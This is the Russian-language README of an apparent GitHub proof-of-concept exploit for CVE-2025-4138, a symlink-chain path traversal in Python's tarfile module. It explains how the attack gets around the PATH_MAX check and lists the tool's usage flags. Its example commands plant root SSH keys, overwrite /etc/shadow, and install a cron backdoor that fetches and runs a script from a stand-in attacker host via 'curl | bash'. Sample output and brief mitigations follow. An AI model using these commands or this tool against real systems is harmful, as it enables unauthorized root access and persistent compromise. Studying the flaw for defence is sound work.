
PoC на Python для CVE-2025-4138, обход пути (path traversal) в модуле tarfile Python, использующий цепочки символьных ссылок для обхода ограничения PATH_MAX с целью произвольной записи файлов.
tarfile PoC обхода PATH_MAXАвтор: d3vn0mi
_______ _______ ____ ___ ___ ___ _ _ _ _____ ___
/ ___\ \ / / ____| |___ \/ _ \__ \| __| | | || |___ /( _ )
| | \ V /| _| _____ __) | | | |) |__ \ ___| | || |_|_ \/ _ \
| |___ | | | |__|_____/ __/| |_| / __/___) |___|__ _|__) \__, |
\____| |_| |_____| |_____|\___/_____|____/ |_||____/ /_/
[ CVE-2025-4138 :: Python tarfile PATH_MAX Bypass ]
[ Author: d3vn0mi ]
Эксплойт типа proof-of-concept для CVE-2025-4138, уязвимости обхода пути в модуле Python tarfile. Уязвимость позволяет злоумышленнику создать вредоносный tar-архив, который записывает файлы в произвольные места за пределами целевого каталога извлечения, используя цепочки символических ссылок для превышения PATH_MAX.
| Поле | Значение |
|---|---|
| CVE ID | CVE-2025-4138 |
| Компонент | Модуль Python tarfile |
| Тип | Обход пути (CWE-22) |
| Вектор | Цепочка симлинков + обход PATH_MAX |
| Воздействие | Запись произвольного файла вне каталога извлечения |
Эксплойт состоит из четырёх этапов:
Раздувание пути — создаётся цепочка глубоко вложенных каталогов и симлинков так, что полный разрешённый путь превышает лимит ядра PATH_MAX (4096 байт в Linux).
Пивот-симлинк — добавляется симлинк, разрешённый путь которого пересекает границу PATH_MAX. Поскольку путь слишком длинный для разрешения, проверки безопасности Python tarfile (основанные на os.path.realpath()) молча завершаются ошибкой и пропускают валидацию.
Эскейп-симлинк — второй симлинк использует ../ для прохода через пивот, выходя за пределы каталога извлечения и указывая на абсолютный путь в файловой системе, контролируемый злоумышленником.
Сброс полезной нагрузки — через эскейп-симлинк записывается обычный файл, который попадает в целевой путь с содержимым и правами, контролируемыми злоумышленником.
Extract dir
|
+-- ddd...d/ (247-char dir)
| +-- a -> ddd...d (symlink shortcut)
| +-- ddd...d/
| +-- b -> ddd...d
| +-- ... (16 levels deep, resolved path > 4096)
|
+-- a/b/.../p/lll...l -> ../../... (pivot - PATH_MAX exceeded)
+-- escape -> pivot + ../../... + /target/dir (escape)
+-- escape/target_file <-- PAYLOAD LANDS HERE (outside extract dir)
git clone https://github.com/d3vn0mi/cve_2025_4138_poc.git
cd cve_2025_4138_poc
Внешние зависимости не требуются — эксплойт использует только модули стандартной библиотеки Python 3.
usage: cve_2025_4138.py [-h] [-o OUTPUT] [-t TARGET] [-p PAYLOAD]
[-s PAYLOAD_STRING] [-k SSH_KEY] [-m MODE]
[-d DEPTH] [-v] [-q]
| Флаг | Описание |
|---|---|
-o, --output | Путь к выходному tarball-файлу (по умолчанию: exploit.tar) |
-t, --target | Абсолютный путь к файлу для записи на цели (по умолчанию: /root/.ssh/authorized_keys) |
-p, --payload | Путь к файлу, содержимое которого станет полезной нагрузкой |
-s, --payload-string | Использовать строку как полезную нагрузку |
-k, --ssh-key | Путь к файлу открытого ключа SSH |
-m, --mode | Режим прав доступа в восьмеричном формате (по умолчанию: 0600) |
-d, --depth | Глубина обхода каталогов (по умолчанию: 8) |
-v, --verify | Вывести содержимое tarball после создания |
-q, --quiet | Подавить баннер |
Запись открытого ключа SSH в authorized_keys root:
python3 cve_2025_4138.py -k ~/.ssh/id_rsa.pub -v
Запись cron-задачи для сохранения доступа:
python3 cve_2025_4138.py \
-s "* * * * * root curl http://attacker.com/shell.sh | bash" \
-t /etc/cron.d/backdoor \
-m 0644 \
-o cron_exploit.tar
Запись произвольного содержимого файла из локального файла:
python3 cve_2025_4138.py \
-p payload.txt \
-t /etc/shadow \
-o shadow_exploit.tar \
-v
[*] Building exploit tarball: exploit.tar
[*] Target file: /root/.ssh/authorized_keys
[*] Payload size: 574 bytes
[*] Traversal depth: 8
[*] Stage 1/4: Creating symlink chain for path inflation...
[*] Chain link 1/16: resolved path length ~247 bytes
[*] Chain link 2/16: resolved path length ~494 bytes
...
[*] Stage 2/4: Creating pivot symlink (PATH_MAX bypass)...
[*] Stage 3/4: Creating escape symlink (directory traversal)...
[*] Stage 4/4: Writing payload through escape symlink...
[+] Exploit tarball created: exploit.tar
[+] Archive size: 20480 bytes
[+] Target: /root/.ssh/authorized_keys (mode 0o600)
[+] Done. Use with caution - authorized testing only.
tarfile.data_filter (Python 3.12+), который предоставляет более строгие методы извлечения.--strip-components или проверяйте содержимое архива перед извлечением.fs.protected_symlinks).Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам незаконен. Автор не несёт ответственности за неправомерное использование. Всегда получайте надлежащее письменное разрешение перед тестированием систем, которые вам не принадлежат.
Этот проект лицензирован под лицензией MIT.
d3vn0mi | GitHub